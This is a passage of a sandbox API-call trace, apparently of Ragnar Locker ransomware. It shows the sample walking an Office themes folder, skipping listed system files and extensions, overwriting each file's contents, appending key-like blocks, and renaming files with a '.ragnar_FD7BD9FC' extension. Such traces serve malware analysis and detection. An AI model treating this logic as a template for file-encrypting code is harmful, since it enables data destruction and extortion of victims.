dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0074.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed3ff60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ed3ff60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.806] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0074.806] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.806] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0074.806] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.806] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ed3ff60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ed3ff60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ed3ff60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ed3ff60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0074.806] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.806] lstrcpyW (in: lpString1=0x1eab6c, lpString2="PIXEL.ELM" | out: lpString1="PIXEL.ELM") returned="PIXEL.ELM" [0074.806] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM") returned=".ELM" [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="autorun.inf") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="boot.ini") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="bootfont.bin") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="bootsect.bak") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="bootmgr") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="bootmgr.efi") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="bootmgfw.efi") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="desktop.ini") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="iconcache.db") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="ntldr") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="ntuser.dat") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="ntuser.dat.log") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="ntuser.ini") returned 1 [0074.807] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="thumbs.db") returned -1 [0074.807] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.807] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.807] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.807] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.807] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.807] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.807] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm")) returned 0x20 [0074.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.980] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=53477) returned 1 [0074.984] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd0dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.987] GetProcessHeap () returned 0x580000 [0074.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.991] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.073] VirtualAlloc (lpAddress=0x0, dwSize=0xd0e5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.081] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.083] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.096] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd0e5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd0e5, lpOverlapped=0x0) returned 1 [0075.159] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.161] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd0e5, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.161] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd0e5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd0e5, lpOverlapped=0x0) returned 1 [0075.161] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd0e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.161] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.162] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd0e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.162] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.162] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.162] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.162] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.162] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.162] GetProcessHeap () returned 0x580000 [0075.162] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.162] CloseHandle (hObject=0x10c) returned 1 [0075.162] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" [0075.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.ragnar_FD7BD9FC" [0075.162] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0075.229] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0075.229] lstrcpyW (in: lpString1=0x1eab6c, lpString2="PIXEL.INF" | out: lpString1="PIXEL.INF") returned="PIXEL.INF" [0075.229] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF") returned=".INF" [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="autorun.inf") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="boot.ini") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="bootfont.bin") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="bootsect.bak") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="bootmgr") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="bootmgr.efi") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="bootmgfw.efi") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="desktop.ini") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="iconcache.db") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="ntldr") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="ntuser.dat") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="ntuser.dat.log") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="ntuser.ini") returned 1 [0075.229] lstrcmpiW (lpString1="PIXEL.INF", lpString2="thumbs.db") returned -1 [0075.229] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0075.229] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0075.229] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0075.229] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0075.229] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0075.229] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0075.230] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0075.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf")) returned 0x20 [0075.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.230] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=539) returned 1 [0075.230] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x212, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.230] GetProcessHeap () returned 0x580000 [0075.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.230] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.231] VirtualAlloc (lpAddress=0x0, dwSize=0x21b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.275] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.276] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.276] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x21b, lpOverlapped=0x0) returned 1 [0075.276] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.276] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21b, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.276] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x21b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x21b, lpOverlapped=0x0) returned 1 [0075.276] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.276] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.276] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x21b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.276] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.276] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.277] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.277] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.277] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.277] GetProcessHeap () returned 0x580000 [0075.277] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.277] CloseHandle (hObject=0x10c) returned 1 [0075.277] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" [0075.277] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.ragnar_FD7BD9FC" [0075.277] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.278] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.278] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0075.278] lstrcpyW (in: lpString1=0x1eab6c, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0075.278] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned=".GIF" [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0075.278] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0075.278] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0075.279] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0075.279] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0075.279] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0075.279] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0075.279] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0075.279] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0075.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0075.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.279] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1593) returned 1 [0075.279] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x630, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.279] GetProcessHeap () returned 0x580000 [0075.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.279] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.281] VirtualAlloc (lpAddress=0x0, dwSize=0x639, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.281] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.281] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.281] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x639, lpOverlapped=0x0) returned 1 [0075.281] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.281] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x639, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.281] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x639, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x639, lpOverlapped=0x0) returned 1 [0075.282] UnlockFile 